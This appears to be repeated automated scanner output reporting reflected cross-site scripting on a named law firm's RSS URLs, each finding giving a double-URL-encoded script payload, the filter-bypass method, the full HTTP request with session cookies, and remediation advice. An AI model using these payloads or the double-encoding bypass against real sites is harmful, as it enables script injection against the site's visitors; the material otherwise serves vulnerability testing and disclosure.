The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3861%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e021aa92fc8e was submitted in the REST URL parameter 3. This input was echoed as a3861"><script>alert(1)</script>021aa92fc8e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Insurancea3861%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e021aa92fc8e/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:21 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc903%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8c3f9de4a75 was submitted in the REST URL parameter 4. This input was echoed as dc903"><script>alert(1)</script>8c3f9de4a75 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Insurance/rss.xmldc903%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8c3f9de4a75 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:22 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8cc0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e97bf63e9708 was submitted in the REST URL parameter 1. This input was echoed as a8cc0"><script>alert(1)</script>97bf63e9708 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rssa8cc0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e97bf63e9708/practices/Intellectual_Property/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebee6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8cb5eed4035 was submitted in the REST URL parameter 2. This input was echoed as ebee6"><script>alert(1)</script>8cb5eed4035 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practicesebee6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8cb5eed4035/Intellectual_Property/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a6c9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef1282db072c was submitted in the REST URL parameter 3. This input was echoed as 9a6c9"><script>alert(1)</script>f1282db072c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Intellectual_Property9a6c9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef1282db072c/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7748%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1dd7e1a93aa was submitted in the REST URL parameter 4. This input was echoed as f7748"><script>alert(1)</script>1dd7e1a93aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Intellectual_Property/rss.xmlf7748%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1dd7e1a93aa HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d092e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1334ddb4b76 was submitted in the REST URL parameter 1. This input was echoed as d092e"><script>alert(1)</script>1334ddb4b76 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rssd092e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1334ddb4b76/practices/International_Trade/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d46e9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef30c22f14ce was submitted in the REST URL parameter 2. This input was echoed as d46e9"><script>alert(1)</script>f30c22f14ce in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practicesd46e9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef30c22f14ce/International_Trade/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fca14%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea76b08aeebe was submitted in the REST URL parameter 3. This input was echoed as fca14"><script>alert(1)</script>a76b08aeebe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/International_Tradefca14%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea76b08aeebe/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb24c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6e42435c0a7 was submitted in the REST URL parameter 4. This input was echoed as eb24c"><script>alert(1)</script>6e42435c0a7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/International_Trade/rss.xmleb24c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6e42435c0a7 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2cd05%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4aa15667da1 was submitted in the REST URL parameter 1. This input was echoed as 2cd05"><script>alert(1)</script>4aa15667da1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss2cd05%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4aa15667da1/practices/Litigation/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c84a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed9dfe2363ba was submitted in the REST URL parameter 2. This input was echoed as 2c84a"><script>alert(1)</script>d9dfe2363ba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices2c84a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed9dfe2363ba/Litigation/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 191ff%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e238461b7a86 was submitted in the REST URL parameter 3. This input was echoed as 191ff"><script>alert(1)</script>238461b7a86 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Litigation191ff%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e238461b7a86/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:27 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14505%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e478d1333f6d was submitted in the REST URL parameter 4. This input was echoed as 14505"><script>alert(1)</script>478d1333f6d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Litigation/rss.xml14505%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e478d1333f6d HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc84f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e79d0e014d42 was submitted in the REST URL parameter 1. This input was echoed as dc84f"><script>alert(1)</script>79d0e014d42 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rssdc84f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e79d0e014d42/practices/Postal/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a669%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6384682ca38 was submitted in the REST URL parameter 2. This input was echoed as 4a669"><script>alert(1)</script>6384682ca38 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices4a669%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6384682ca38/Postal/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6c53%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2206f6e398b was submitted in the REST URL parameter 3. This input was echoed as e6c53"><script>alert(1)</script>2206f6e398b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Postale6c53%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2206f6e398b/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a1f6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaf2258d21b7 was submitted in the REST URL parameter 4. This input was echoed as 5a1f6"><script>alert(1)</script>af2258d21b7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Postal/rss.xml5a1f6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaf2258d21b7 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35e2f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e69c57b225b was submitted in the REST URL parameter 1. This input was echoed as 35e2f"><script>alert(1)</script>69c57b225b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss35e2f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e69c57b225b/practices/Privacy/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
